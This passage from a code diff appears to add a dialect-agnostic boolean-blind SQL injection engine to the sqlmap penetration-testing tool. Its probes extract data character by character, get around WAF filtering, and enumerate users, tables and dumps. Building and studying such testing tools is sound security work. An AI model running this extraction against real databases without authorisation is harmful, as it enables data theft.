None + col, src, where = self._source(kind) + # independent COUNT FIRST - so a single empty-string row isn't mistaken for + # an empty catalog (the aggregate of one '' can look like no rows) + expected = self.extractInteger("(SELECT COUNT(DISTINCT %s) FROM %s%s)" % (col, src, where)) + if expected == 0: + return BulkResult([], expected=0, complete=True) + if not self._ensureHexfn(): # delimiter safety needs hex + self.dialect.notes.append("bulk %s: no hex framing - use enumerateKeyset" % kind) + return None + # 'V'-prefix each non-NULL token so an empty string is 'V' (distinct from a + # NULL aggregate over zero rows) + aggcol = self.dialect.concat[1].format(a="'V'", b=self.dialect.hexfn[1].format(expr=col)) + if self.dialect.bulkAgg is None: + self.dialect.bulkAgg = self._discoverBulkAgg(aggcol, src, where) + if not self.dialect.bulkAgg: + return None + agg = self.dialect.bulkAgg[1].format(col=aggcol) + res = self.extractResult("(SELECT %s FROM %s%s)" % (agg, src, where), limit=maxchars, _ceiling=maxchars) + joined = res.value + if joined is None: + return BulkResult([], expected=expected, complete=False) + tokens = joined.split(",") + if res.truncated and tokens: # last token may be partial + tokens = tokens[:-1] + names, seen = [], set() + for t in tokens: + if not t.startswith("V"): + continue + v = self._decodeHexToken(t[1:], encoding) + if v is not None and v not in seen: # dedupe (non-unique columns repeat) + seen.add(v) + names.append(v) + complete = (not res.truncated) and expected is not None and len(names) == expected + if expected is not None and len(names) != expected: + self.dialect.notes.append("bulk %s: got %d of %d (incomplete)" % (kind, len(names), expected)) + return BulkResult(names, expected=expected, complete=complete) + + def _discoverBulkAgg(self, col, src, where): + for name, tmpl in _BULK_AGG: + agg = tmpl.format(col=col) + if self._ask("(SELECT %s FROM %s%s) IS NOT NULL" % (agg, src, where)): + return Cap(name, tmpl) + return None diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py new file mode 100644 index 00000000000..e3b01656b36 --- /dev/null +++ b/extra/esperanto/extraction.py @@ -0,0 +1,700 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import binascii + +from .atlas import _FREQ_ORDER +from .atlas import _HEX_Q_ENCODINGS +from .atlas import _HEXDIGITS +from .atlas import _HEXFN +from .atlas import _isSingleUnicodeScalar +from .atlas import _MAX_HEX_CHAR_NIBBLES +from .atlas import _native +from .atlas import _PRINTABLE_SORTED +from .atlas import _REPL +from .atlas import _SIMILAR_META +from .atlas import _UNICODE_MAX +from .atlas import _unhexlify +from .atlas import _unichr +from .records import Cap +from .records import ExtractResult + + +class _Extraction(object): + """_Extraction + + turn the discovered dialect into VALUES: length, char reading, literals, hex, + the public extract*/read* API, and the LIKE pattern-match floor.""" + + def _charExists(self, expr, pos): + # is there a real character at 1-based `pos`? derived from the substring's + # measured end behavior - the basis for length when no length fn exists. + one = self._sub(expr, pos, 1) + if self.dialect.substring.get("beyond_end") == "null-or-error": + return self._ask("%s IS NOT NULL" % one) + return self._ask("%s IS NOT NULL" % one) and not self._ask("%s=''" % one) + + def _measureLengthSub(self, expr, ceiling): + # length via substring: find the largest position that still holds a char. + # mirrors _measureLength's exponential-then-bisect shape (len>N <=> a char + # exists at N+1), for backends with substring but no length fn. + if not self._charExists(expr, 1): + return (None if self._ask("(%s) IS NULL" % expr) else 0), False + if self._charExists(expr, ceiling + 1): + return ceiling, True + low, high = 1, min(8, ceiling) + while high < ceiling and self._charExists(expr, high + 1): + low = high + 1 + high = min(high * 2, ceiling) + while low < high: + mid = (low + high) // 2 + if self._charExists(expr, mid + 1): + low = mid + 1 + else: + high = mid + return low, False + + def _hasChars(self, expr): + # non-empty existence check that works with either a length fn or substring + if self.dialect.length is not None: + lexpr = self._len(expr) + return self._numDefined(lexpr) and not self._ask("%s=0" % lexpr) + if self.dialect.substring is not None: + return self._charExists(expr, 1) + return False + + def _lenEquals(self, expr, n): + # exact-length corroboration used in discovery, length-fn or substring-derived + if self.dialect.length is not None: + return self._ask("%s=%d" % (self._len(expr), n)) + if self.dialect.substring is not None: + return self._measureLength(expr, ceiling=max(n + 1, 8))[0] == n + return False + + def _measureLength(self, expr, ceiling=None): + """Return (length, truncated) - no shared per-call state, and a separate + `ceiling` so hex/byte pulls can be capped independently of maxlen.""" + ceiling = self.maxlen if ceiling is None else ceiling + if self.dialect.length is None: + return self._measureLengthSub(expr, ceiling) + lexpr = self._len(expr) + if not self._numDefined(lexpr): + return None, False + if self._ask("%s=0" % lexpr): + return 0, False + if ceiling < 1: # non-empty value but capped to nothing (maxlen=0) + return 0, True + n = self._readNum(lexpr, 1, ceiling) + return n, n >= ceiling # at the cap -> treat as (possibly) truncated + + def valueLength(self, expr): + length, truncated = self._measureLength(expr) + self._lastTruncated = truncated + return length + + def _literalVariants(self, value): + # spellings to try for exact char verification; SQL Server & others need an + # N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate + yield self._lit(value) + if any(ord(c) > 127 for c in value): + yield "N%s" % self._lit(value) + + def _exactCharEquals(self, expr, value): + return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value)) + + def _lit(self, ch): + # double single quotes always; also double backslashes on engines that treat + # '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break + # the literal and silently corrupt the probe + if self._backslashEscape is None: + self._backslashEscape = (self.dialect.length is not None + and self._ask("%s=1" % self._len("'\\\\'"))) + s = ch.replace("\\", "\\\\") if self._backslashEscape else ch + return _native("'%s'" % s.replace("'", "''")) + + def _bisectCharset(self, greater): + # greater(c) -> is the source char strictly greater than charset char c? + cs = _PRINTABLE_SORTED + lo, hi = 0, len(cs) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if greater(cs[mid]): + lo = mid + 1 + else: + hi = mid + return cs[lo] + + def _gtNum(self, expr, n, high): + # "is `expr` > n?" via the discovered comparator (high = current upper bound). + # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. + if self._comparator == "between": + return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) + return self._ask("%s>%d" % (expr, n)) + + def _numDefined(self, expr): + # value is a defined (non-NULL) number - validity gate that needs no '>' + return self._ask("(%s) IS NOT NULL" % expr) + + def _readNum(self, expr, lo, hi): + # bounded numeric read in [lo, hi]. ordered comparators bisect (exponential + # first so a small value in a big range stays cheap); the order-free path + # scans fixed windows then IN-bisects inside the hit window (IN lists bounded). + if self._comparator != "membership": + low, high = lo, min(max(lo, 8), hi) + while high < hi and self._gtNum(expr, high, hi): + low, high = high + 1, min(high * 2, hi) + while low < high: + mid = (low + high) // 2 + if self._gtNum(expr, mid, hi): + low = mid + 1 + else: + high = mid + return low + if self._inOk: + window = 128 + base = lo + while base <= hi: + win = list(range(base, min(base + window, hi + 1))) + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))): + while len(win) > 1: + half = win[:len(win) // 2] + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))): + win = half + else: + win = win[len(win) // 2:] + return win[0] + base += window + return hi + # no ordered op and no IN: plain '=' scan (bounded by hi; small values first) + for v in range(lo, hi + 1): + if self._ask("%s=%d" % (expr, v)): + return v + return hi + + def _bisectCodes(self, code, codes): + # ordered bisection over a sorted code list (restricted alphabet) + lo, hi = 0, len(codes) - 1 + top = codes[hi] + while lo < hi: + mid = (lo + hi) // 2 + if self._gtNum(code, codes[mid], top): + lo = mid + 1 + else: + hi = mid + return codes[lo] + + def _bisectCodeRange(self, code): + # general dynamic-range bisection - a real code-point fn can far exceed 255, + # so find the tight upper bound first, then bisect + high = _UNICODE_MAX + for cap in (127, 255, 0xFFFF, _UNICODE_MAX): + if not self._gtNum(code, cap, _UNICODE_MAX): + high = cap + break + low = 0 + while low < high: + mid = (low + high) // 2 + if self._gtNum(code, mid, high): + low = mid + 1 + else: + high = mid + return low + + def _pickCode(self, code, codes): + # order-free code selection when there's no ordered comparator: IN() subset + # bisection if available, else a plain '=' scan (last resort, no '<>' needed) + if self._inOk: + return self._membershipCode(code, codes) + for c in codes: + if self._ask("%s=%d" % (code, c)): + return c + return None + + def _membershipCode(self, code, codes): + # ORDER-FREE subset bisection: split the candidate code list in half and test + # `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN + # and collation quirks. ~log2(n) probes. Returns the matched code, or None + # when the char is outside `codes` (caller escalates to hex / marks it). + if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))): + return None + cand = list(codes) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _membershipLit(self, one, chars): + # order-free subset bisection over char LITERALS (no code fn, no ordering) - + # `chars` is frequency-ordered so the common half resolves first + if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))): + return None + cand = list(chars) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _ensureHexfn(self): + # a hex fn may not have been discovered (code/collation mode won the ladder + # before hex was tried); probe for one on demand so escalation can recover + # bytes exactly. probes at most once. + if self.dialect.hexfn is None and not self._hexProbed: + self._hexProbed = True + with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc: + self.dialect.hexfn = Cap(name, tmpl, encoding=enc) + break + return self.dialect.hexfn + + def _hexEncoding(self, tmpl): + # if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 / + # utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form + # AND track the char (a DIFFERENT value for 'p'), so a constant can't match. + hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q' + hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p' + for form, enc in _HEX_Q_ENCODINGS: + if self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form)): + return enc + return None + + def _escalate(self, one, pos): + # candidate did not verify -> char is outside the searched alphabet. + # recover its exact bytes via hex if available; otherwise mark it (never + # silently substitute a space/'~' or delete it) + if self._ensureHexfn(): + ch = self._readHexChar(one) + if ch and ch != _REPL: + return ch + self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos) + return _REPL + + def _readChar(self, expr, pos, codes=None): + one = self._sub(expr, pos, 1) + mode = self.dialect.compare + + if mode == "code": + code = self.dialect.charcode[1].format(expr=one) + ordered = self._comparator in ("gt", "between") + if codes is not None: + # restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII + # set. no per-char verify - ASCII codes are unambiguous across charcode + # semantics and extractResult whole-value verifies. + low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes) + return _unichr(low) if low is not None else self._escalate(one, pos) + if ordered: + low = self._bisectCodeRange(code) + else: + # no ordered operator: order-free IN() over the printable set (or a '=' + # scan if IN is gone too); anything outside it escalates to hex / marks + low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED]) + if low is None: + return self._escalate(one, pos) + if 0xD800 <= low <= 0xDFFF: + # a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation) + # can return an isolated surrogate - not a scalar; recover via bytes + return self._escalate(one, pos) + try: + ch = _unichr(low) # low==0 is a valid NUL char, not "empty" + except ValueError: + return self._escalate(one, pos) + # a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even + # '?' (63) for an unrepresentable char - the old low>127-only check + # silently accepted the last as a literal '?'. only a *proven* code-point + # fn is trusted outright; everything else must round-trip-verify. + if self.dialect.charcode.get("semantics") != "codepoint" and \ + not self._exactCharEquals(one, ch): + return self._escalate(one, pos) + return ch + + if mode == "hex": + if self.dialect.hexfn is None: + return self._escalate(one, pos) + return self._readHexChar(one) + + if mode == "collation": + if self.dialect.binwrap is None: + return self._escalate(one, pos) + w = self.dialect.binwrap[1] + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c))))) + if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))): + return cand + return self._escalate(one, pos) + + if mode == "ordinal": + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c)))) + if self._ask("%s=%s" % (one, self._lit(cand))): + return cand + return self._escalate(one, pos) + + # equality / equality-ci: order-free IN() subset bisection (frequency-ordered, + # ~log2(n) probes) when IN is usable, else the linear frequency scan + if self._inOk: + ch = self._membershipLit(one, _FREQ_ORDER) + return ch if ch is not None else self._escalate(one, pos) + for ch in _FREQ_ORDER: + if self._ask("%s=%s" % (one, self._lit(ch))): + return ch + return self._escalate(one, pos) + + def _readHexChar(self, one): + # read the uppercase-hex byte string of a single source char, digit by + # digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip + # against the source (decoder order alone is endian-ambiguous: 00 41 is both + # UTF-16BE 'A' and UTF-16LE U+4100). + hexpr = self.dialect.hexfn[1].format(expr=one) + hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES) + if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES: + return _REPL + # bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks + # vs up to 16); fall back to an equality scan otherwise + if self._hexOrdered is None: + self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'")) + digits = "" + for k in range(1, hlen + 1): + nib = self._sub(hexpr, k, 1) + if self._hexOrdered: + lo, hi = 0, len(_HEXDIGITS) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])): + lo = mid + 1 + else: + hi = mid + # verify: if nib isn't actually this hex digit (WAF/glitch), bail + if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])): + return _REPL + digits += _HEXDIGITS[lo] + else: + for hd in _HEXDIGITS: + if self._ask("%s='%s'" % (nib, hd)): + digits += hd + break + else: + return _REPL + try: + raw = _unhexlify(digits) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return _REPL + # generate every single-scalar candidate and pick the one that round-trips + # against the source char (resolves the endian ambiguity), preferring the + # interleaved-NUL-signalled endianness order first + order = [] + if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00": + order += ["utf-16-be", "utf-32-be"] + if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00": + order += ["utf-16-le", "utf-32-le"] + # UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode + # backend may hex; each is TRIED only when it round-trips against the source char + # (see _exactCharEquals below), so adding codecs can only recover MORE, never + # mis-decode. latin-1 stays last (it accepts any single byte). + order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be", + "cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"] + seen = set() + for enc in order: + try: + dec = raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + if dec in seen or not _isSingleUnicodeScalar(dec): + continue + seen.add(dec) + if self._exactCharEquals(one, dec): + return dec + return _REPL + + def _textable(self, expr): + # extraction needs BOTH length and substring to work; length may implicitly + # cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)), + # so the substring primitive must be probed too. with no length fn, the + # substring probe alone is the textability test. + length_ok = self.dialect.length is None or self._numDefined(self._len(expr)) + return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1)) + + def _resolveText(self, expr): + # if the expression isn't directly substringable (e.g. a numeric/date column + # on a strict engine), wrap it in the discovered text cast + if self._textable(expr): + return expr + if self.dialect.textcast is not None and self._ask("%s IS NOT NULL" % expr): + casted = self.dialect.textcast[1].format(expr=expr) + if self._textable(casted): + return casted + return expr + + def coalesce(self, expr, fallback="''"): + return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr + + def _concatMany(self, parts): + if len(parts) == 1: + return parts[0] + func = self.dialect.concat.get("variadic") if self.dialect.concat else None + if func: # flat CONCAT(a,b,c,...) when variadic + return "%s(%s)" % (func, ",".join(parts)) + out = parts[0] + for p in parts[1:]: + out = self.dialect.concat[1].format(a=out, b=p) + return out + + def buildLiteral(self, value): + """Build a SQL string literal for `value`. Prefers CHAR(code)||... from the + discovered char-from-code + concat primitives (no quote-escaping pitfalls), + for ASCII values; otherwise a doubled-quote literal.""" + if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value): + return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value]) + return self._lit(value) + + def extract(self, expr, limit=None): + return self.extractResult(expr, limit).value + + def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None): + """Structured text extraction keeping NULL / empty / truncated / failed + distinct - never conflated into one ambiguous ''/None. `codes` restricts the + char alphabet (sorted code list) for a big speedup on known-alphabet values.""" + if self.dialect.prefix is not None and self.dialect.substring is None: + return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path + q0 = self._queries + expr = self._resolveText(expr) + ceiling = self.maxlen if _ceiling is None else _ceiling + length, truncated = self._measureLength(expr, ceiling=ceiling) + if length is None: + # >=0 was false: either a genuine NULL or the probe itself failed. + # PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to + # turn every invalid expression into a convincing, "complete" NULL. + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["length probe failed"]) + if limit is not None and limit < length: + truncated = True # a bounded prefix of a longer value + length = limit + value = "" if length == 0 else "".join(self._readChar(expr, i, codes) for i in range(1, length + 1)) + warns = ["contains unresolved char"] if _REPL in value else [] + if self.dialect.compare == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + complete = not truncated and not warns + # a length fn can stop at an embedded NUL, yielding a convincing short prefix. + # ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the + # strongest available comparator (hex > binary wrapper > plain equality); even + # plain equality catches a NUL-truncated prefix. recover via hex on mismatch. + # (_verify=False on the internal hex-string pull to avoid re-entry.) + if _verify and complete and not self._exactEquals(expr, self._lit(value)): + recovered = self._extractViaHex(expr, q0) + if recovered is not None: + return recovered + complete = False + warns.append("whole-value verification failed") + return ExtractResult(value, complete=complete, truncated=truncated, + queries=self._queries - q0, warnings=warns) + + def _extractViaHex(self, expr, q0=None): + # recover a full text value through strict hex extraction, or None + if not self._ensureHexfn(): + return None + q0 = self._queries if q0 is None else q0 + res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + _ceiling=self.maxbytes * 2, _verify=False) + if res.is_null: + return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0) + if res.value is None or not res.complete or res.truncated or res.warnings: + return None + dec = self._decodeHexToken(res.value) + if dec is None: + return None + return ExtractResult(dec, complete=True, queries=self._queries - q0, + warnings=["recovered via hex after verification mismatch"]) + + def _exactEquals(self, left, right): + # whole-value equality that avoids collation/trailing-space lies + if self._ensureHexfn(): + t = self.dialect.hexfn[1] + return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right))) + if self.dialect.binwrap: + t = self.dialect.binwrap[1] + return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right))) + return self._ask("(%s)=(%s)" % (left, right)) + + def extractInteger(self, expr, maximum=None): + """Extract a (possibly signed) integer by range-bounded bisection - avoids + stringifying and reading digit-by-digit.""" + cap = maximum if maximum is not None else 1 << 62 + if self._comparator != "gt": + # BETWEEN / order-free IN(): read the non-negative magnitude (counts, + # lengths - the only integers enumeration needs). ceil bounds the + # order-free window scan; hitting it overflows rather than saturating. + if not self._numDefined(expr): + return None + ceil = cap if self._comparator == "between" else min(cap, 1 << 16) + n = self._readNum(expr, 0, ceil) + if n >= ceil and ceil < cap: + raise OverflowError("integer exceeds maximum %d" % ceil) + return n + if not self._ask("%s>=0" % expr): + if not self._ask("%s<0" % expr): + return None # NULL or non-numeric + if self._ask("%s<%d" % (expr, -cap)): # symmetric: negative side capped too + raise OverflowError("integer below minimum -%d" % cap) + hi = -1 + lo = -2 + while self._ask("%s<%d" % (expr, lo)): + hi = lo + lo *= 2 + while lo < hi: + mid = -((-lo + -hi) // 2) # ceil toward zero + if self._ask("%s<%d" % (expr, mid)): + hi = mid - 1 + else: + lo = mid + return lo + lo, hi = 0, 1 + while hi < cap and self._ask("%s>%d" % (expr, hi)): + lo = hi + 1 + hi = min(hi * 2 + 1, cap) + if hi == cap and self._ask("%s>%d" % (expr, cap)): + raise OverflowError("integer exceeds maximum %d" % cap) # never saturate silently + while lo < hi: + mid = (lo + hi) // 2 + if self._ask("%s>%d" % (expr, mid)): + lo = mid + 1 + else: + hi = mid + return lo + + def extractBytes(self, expr): + """Extract the exact bytes of a string/blob expression via a hex function. + Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so + whatever compare mode is active reads it cleanly). Returns None if no hex + function is available on the target.""" + if not self._ensureHexfn(): + return None + # hex doubles the length; cap by maxbytes (a char can be several bytes), + # not maxlen + res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + _ceiling=self.maxbytes * 2, _verify=False) + hexstr = res.value + # STRICT: never clean corruption into believable bytes. reject a non-hex + # char, odd length, incomplete/truncated pull, or an unresolved marker. + if hexstr is None or not res.complete or res.truncated or res.warnings: + return None + if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr): + return None + try: + return _unhexlify(hexstr) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + + def extractText(self, expr, encoding="utf-8", errors="replace"): + """Extract bytes then decode with a caller-chosen encoding - the reliable + path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16 + NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the + target has no hex function.""" + raw = self.extractBytes(expr) + if raw is None: + return self.extract(expr) + return raw.decode(encoding, errors) + + def _likePat(self, prefix_singles, ch, trailing): + # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal + # char + `single`*after. only `ch` may be special, escaped if so. + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + body = single * prefix_singles + if p.name == "GLOB" and ch in (multi, single, "["): + body += "[%s]" % ch # GLOB escapes via a char class + return body + (single * trailing), "" + # SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_ + special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single) + if ch in special: + body += "\\" + ch # escape via ESCAPE '\' + return body + (single * trailing), " ESCAPE '\\'" + body += ch.replace("'", "''") + return body + (single * trailing), "" + + def _likeIs(self, expr, pattern, esc): + return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc)) + + def _likeExtract(self, expr, limit=None): + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + q0 = self._queries + # NULL vs matches-anything-nonnull + if not self._likeIs(expr, multi, ""): + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["pattern probe failed"]) + if self._likeIs(expr, "", ""): # empty string matches only '' + return ExtractResult("", complete=True, queries=self._queries - q0) + # length from wildcards: `_`*n + `%` matches iff length >= n. find the + # largest n that still matches (keep a known-true lower bound; the exponential + # must NOT advance lo past the true region) + ge = lambda n: self._likeIs(expr, single * n + multi, "") + hi = 1 + while hi < self.maxlen and ge(hi): + hi = min(hi * 2, self.maxlen) + lo = 1 # ge(1) is true (non-empty) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1) + length = lo + truncated = length >= self.maxlen and ge(self.maxlen) + if limit is not None and limit < length: + truncated, length = True, limit + out = [] + for i in range(length): + hit = None + for c in _FREQ_ORDER: + pat, esc = self._likePat(i, c, length - i - 1) + if self._likeIs(expr, pat, esc): + hit = c + break + out.append(hit if hit is not None else _REPL) + value = "".join(out) + warns = ["contains unresolved char"] if _REPL in value else [] + if p.get("case_insensitive"): + warns.append("LIKE is case-insensitive: letter case may be ambiguous") + return ExtractResult(value, complete=not truncated and not warns, truncated=truncated, + queries=self._queries - q0, warnings=warns) + + @staticmethod + def _decodeHexToken(token, encoding=None): + if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token): + return None # strict: don't clean corruption + try: + raw = _unhexlify(token) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if encoding: + return raw.decode(encoding, "replace") + # UTF-16LE (SQL Server nvarchar) is *also* valid UTF-8 when ASCII-ish, so a + # utf-8-first guess silently mis-decodes it; detect the interleaved-null + # signature first + if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(1, len(raw), 2)): + try: + return raw.decode("utf-16-le") + except UnicodeDecodeError: + pass + # UTF-16BE (h2/HSQLDB RAWTOHEX) has nulls at EVEN offsets; catch it before the + # utf-8 guess below "succeeds" by reading those nulls as NUL-interleaved text + if len(raw) >= 2 and len(raw) % 2 == 0 and any(raw[i] == 0 for i in range(0, len(raw), 2)): + try: + return raw.decode("utf-16-be") + except UnicodeDecodeError: + pass + for enc in ("utf-8", "utf-16-le", "latin-1"): + try: + return raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + return raw.decode("latin-1", "replace") diff --git a/extra/esperanto/handler.py b/extra/esperanto/handler.py new file mode 100644 index 00000000000..b968d85a593 --- /dev/null +++ b/extra/esperanto/handler.py @@ -0,0 +1,223 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .engine import Esperanto +from .records import OracleUndecided + + +def buildHandler(): + """Build the sqlmap dbmsHandler that drives enumeration through this engine when + the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are + deferred here so the engine above stays dependency-free for standalone use. + + The user still commands *what* to retrieve (--banner / --tables / --dump / ...); + esperanto only works out *how* on a dialect it discovers from scratch, and every + probe rides sqlmap's own boolean inference (request / comparison / WAF stack).""" + from lib.core.data import conf + from lib.core.data import kb + from lib.core.data import logger + from lib.core.enums import CHARSET_TYPE + from lib.core.enums import EXPECTED + from lib.core.exception import SqlmapDataException + from lib.request.inject import checkBooleanExpression + from lib.request.inject import getValue + from plugins.generic.enumeration import Enumeration + from plugins.generic.misc import Miscellaneous + + # boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a + # reflective target that filters out the reflected marker can't defeat it + def _blindOracle(condition): + return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, + suppressOutput=True, union=False, error=False, time=False) + + class _EsperantoHandler(Enumeration, Miscellaneous): + def __init__(self): + Enumeration.__init__(self) + Miscellaneous.__init__(self) + self._esp = None + self._identCache = {} # current user/db: fetch (and announce) once + self._colCache = {} # (db, table) -> ordered column names, so a dump + # reuses what --columns already enumerated + self._scopeCache = {} # table -> resolved schema (see _scopeFor) + + def _engine(self): + if self._esp is None: + # esperanto is a PURE boolean-oracle engine: every probe is one true/false + # question, so it gains nothing from UNION/error inband extraction - while + # those need a concatenated marker whose generic form is CONCAT() when the + # backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/ + # Firebird/Oracle (they use ||) so every such probe errors. so PREFER the + # boolean-blind technique: no marker, no concatenation, whole-page true/false, + # works everywhere. only fall back to whatever-technique-is-available if the + # target has no usable boolean-blind vector. _ask decides what an undecidable + # probe MEANS by context (skip a candidate rung vs degrade a data read loudly). + esp = Esperanto(_blindOracle, retries=2) + logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)") + try: + esp.discover() + except RuntimeError: + # no usable boolean-blind vector on this target - retry with any technique + # sqlmap detected (UNION/error/time); may hit the CONCAT limitation above + esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2) + logger.info("Esperanto retrying discovery via any available inference technique") + try: + esp.discover() + except RuntimeError as ex: + # genuinely unusable (unstable target, or no substring/pattern + # primitive) - stop cleanly instead of surfacing an internal traceback + raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex) + logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown")) + esp._progress = lambda value: logger.info("retrieved: %s" % value) # live feedback + for note in esp.dialect.notes: # surface degradations LOUDLY (never silent) + logger.warning("Esperanto: %s" % note) + self._esp = esp + return self._esp + + def _scopeDb(self): + # the database to scope table/column lookups to: -D if given, else the + # current one. WITHOUT this, a same-named table in another schema (e.g. + # information_schema.USERS vs shop.users) merges columns and breaks dump. + return conf.db or self.getCurrentDb() + + def _scopeFor(self, table): + # scope for a SPECIFIC table: -D wins; else the current schema IF the table + # is there; else the schema the table actually lives in (PG-family: tables + # often sit in 'public' while current_schema is the login user's own schema). + if conf.db: + return conf.db + if table in self._scopeCache: + return self._scopeCache[table] + esp = self._engine() + cur = self.getCurrentDb() + scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur) + self._scopeCache[table] = scope + return scope + + def _db(self): + return self._scopeDb() or "" + + def getFingerprint(self): + # concise fingerprint only; the version banner is shown for --banner, not + # printed unbidden on every run (and not re-extracted here) + product = self._engine().identify().get("product") or "unknown" + return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product + + def getBanner(self): + # the ONLY path that blind-reads the full version string (expensive); the + # fingerprint/product naming never does + logger.info("fetching banner") + kb.data.banner = self._engine().banner() + return kb.data.banner + + def getCurrentUser(self): + if "user" not in self._identCache: + expr = self._engine().dialect.identity.get("user") + if expr: + logger.info("fetching current user") + self._identCache["user"] = self._safeExtract(expr) if expr else None + kb.data.currentUser = self._identCache["user"] + return kb.data.currentUser + + def getCurrentDb(self): + # called repeatedly to scope tables/columns/dump -> fetch and announce 